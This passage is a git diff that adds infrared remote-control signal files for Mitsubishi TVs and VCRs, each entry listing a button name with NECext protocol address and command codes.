+type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: COLOUR-SELECT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0C 00 00 00 +# +name: STATUS +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0D 00 00 00 +# +name: KEY_LAST +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: KEY_1- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: AUDIO-SELECT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 13 00 00 00 +# +name: HOLD +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 15 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: KEY_2- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 19 00 00 00 +# +name: CANCEL/TIME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1D 00 00 00 +# +name: STORE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1F 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 25 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 26 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 27 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: SIZE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2C 00 00 00 +# +name: TURNRIGHT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2D 00 00 00 +# +name: S\*\*\*\* +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2E 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 33 00 00 00 +# +name: TURNLEFT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: BROWSE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 36 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 37 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3B 00 00 00 +# +name: REVEAL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3E 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: PRESET +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 45 00 00 00 +# +name: DEMO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 46 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: PREVMENU +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: REALNAME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5B 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 64 00 00 00 +# +name: AFT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 65 00 00 00 +# +name: STILL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 67 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6C 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6D 00 00 00 +# +name: POSITION +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6E 00 00 00 +# +name: DEGAUSS +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 73 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 75 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 77 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7B 00 00 00 +# +name: EXCHANGE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir new file mode 100644 index 000000000..55889f86e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 22 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 2A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 32 00 00 00 +# +name: VCR_A +type: parsed +protocol: NECext +address: 77 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir new file mode 100644 index 000000000..e1ae3f3a8 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir new file mode 100644 index 000000000..2e23fc5de --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: 3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 01 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 02 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 03 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 04 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 05 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 06 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 07 00 00 00 +# +name: 10 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 08 00 00 00 +# +name: 11 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 09 00 00 00 +# +name: 12 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0A 00 00 00 +# +name: 13 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0B 00 00 00 +# +name: U1 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0C 00 00 00 +# +name: U2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0D 00 00 00 +# +name: U3 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0E 00 00 00 +# +name: U4 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 0F 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 10 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 13 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 18 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 19 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1A 00 00 00 +# +name: PAUSE_ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1B 00 00 00 +# +name: FF/SEARCH_>> +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1C 00 00 00 +# +name: REW/SEARCH_<< +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir new file mode 100644 index 000000000..b4f9d590f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: 2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: COUNTER_ZERO_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: VIDEO_/_TV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: - +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4A 00 00 00 +# +name: + +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 4A 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 6A 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 6A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir new file mode 100644 index 000000000..2d9d9121e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir @@ -0,0 +1,416 @@ +Filetype: IR signals file +Version: 1 +# +name: TV_1 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 00 00 00 00 +# +name: TV_9 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 01 00 00 00 +# +name: TV_POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 02 00 00 00 +# +name: TV_CANCEL +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 07 00 00 00 +# +name: TV_2 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 08 00 00 00 +# +name: TV_0 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 09 00 00 00 +# +name: TV_CHANNEL_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: TV_SCAN_^(CH_^) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0A 00 00 00 +# +name: Q.V. +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: TV_Q.V. +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: TV_QV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 0F 00 00 00 +# +name: TV_3 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 10 00 00 00 +# +name: TV_CHANNEL_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_SCAN_V(CH_V) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 12 00 00 00 +# +name: TV_OFF-T_OTR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: TV_OFF-T/OTR +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: TV_SLEEP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 17 00 00 00 +# +name: TV_4 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 18 00 00 00 +# +name: TV_DISPLAY +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: TV_DATA_ON_SCREEN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: TV_INFO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 1B 00 00 00 +# +name: TV_5 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 22 00 00 00 +# +name: TV_6 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 28 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 2A 00 00 00 +# +name: TV_7 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 30 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 32 00 00 00 +# +name: TV_ENTER +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: TV_ENTER_(EXCH) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 35 00 00 00 +# +name: TV_8 +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 38 00 00 00 +# +name: TV_ANT_A/B +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 39 00 00 00 +# +name: TV_INPUT +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TV_VCR/TV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TV_VIDEO/TV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 3A 00 00 00 +# +name: TV_AUDIO_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_FUNC.VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_FUNC_VIDEO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_VIDEO_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 40 00 00 00 +# +name: TV_JOG/ADJ+(IN_SRCH) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TV_ADJUST_+ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TV_ADJUST_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 41 00 00 00 +# +name: TV_VIDEO_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 48 00 00 00 +# +name: TV_JOG/ADJ-(IN_SRCH) +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_ADJUST_- +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_ADJUST_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 49 00 00 00 +# +name: TV_SQV +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 4E 00 00 00 +# +name: TV_FUNC.AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: TV_AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: TV_FUNC_AUDIO +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: TV_AUDIO_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 50 00 00 00 +# +name: TV_MENU +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 52 00 00 00 +# +name: TV_AUDIO_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 58 00 00 00 +# +name: PIP_SOURCE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5F 00 00 00 +# +name: TV_SOURCE +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 5F 00 00 00 +# +name: TV_ADJUST_< +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 65 00 00 00 +# +name: TV_ADJUST_> +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 6D 00 00 00 +# +name: TV_PIP_CH_^ +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 76 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 77 00 00 00 +# +name: TV_PIP +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 77 00 00 00 +# +name: TV_HOME +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7D 00 00 00 +# +name: TV_PIP_CH_V +type: parsed +protocol: NECext +address: 47 00 00 00 +command: 7E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir new file mode 100644 index 000000000..c674f6941 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir @@ -0,0 +1,2924 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_SUN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: VCRA_1 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: VCR-A +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 00 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: VCR_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: VCRA_9 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 01 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: VCR_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: VCRA_POWER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 +# +name: AUDIO_MONITOR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 03 00 00 00 +# +name: PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCR_PLAY> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: PLAY/STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCR_PLAY +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCR_PLAY/STOP/ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCR_PLAY/STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCR_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VCRA_PLAY_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 04 00 00 00 +# +name: VIDEO/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: TV/VCR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCR_VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCRA_VCR/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: VCRA_VIDEO/TV +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 05 00 00 00 +# +name: INPUT_SELECT +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 07 00 00 00 +# +name: 2_MON +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: VCRA_2 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: VCR_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: VCRA_0 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 09 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: SCAN_+_(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: ADJUST/SCAN_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCR_CHANNEL_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: SCAN_UP_(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: CH_^_(SCAN_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCR_SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCR_SCAN_^(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCRA_SCAN_^_(CH_^) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: VCRA_CHANNEL_^ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0A 00 00 00 +# +name: SELECT_<_DIGITAL_CLE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: CLEAR_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: VCR_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: VCRA_CANCEL +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: CANCEL_< +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0B 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: VCR_RECORD +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: VCR_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: VCRA_REC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0C 00 00 00 +# +name: ZERO_STOP +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0D 00 00 00 +# +name: ZERO-STOP_TIME_COU. +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0D 00 00 00 +# +name: SLOW_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: INDEX_SEARCH_SLOW_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: FR_ADV_SLOW_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: INDEX_SEARCH_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCR_JOG/ADJ+(IND_SRC +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: JOG/ADJUST_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: FS/+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: INDEX_SRCH_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: FRAME_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: INDEX_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: SLOW_MOTION_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCR_INDEX_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCR_JOG/INDEX_S.+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCRA_INDEX_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCRA_INDEX_SEARCH_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCRA_SRCH_INDEX_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: INDEX_>>> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: VCRA_ADJUST_> +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0E 00 00 00 +# +name: ADDRESS_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0F 00 00 00 +# +name: INDEX_ENTER +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 0F 00 00 00 +# +name: 3_TUE +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: VCR_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: VCRA_3 +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: SCAN_-_(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: ADJUST/SCAN_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCR_CHANNEL_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: SCAN_DOWN_(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: CH_V_(SCAN_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCR_SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCR_SCAN_V(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCRA_SCAN_V_(CH_V) +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: VCRA_CHANNEL_V +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 12 00 00 00 +# +name: SET_+ +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 13 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 13 00 00 00 +# +name: STOP_[] +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 14 00 00 00 +# +name: VCR_STOP[] +type: parsed 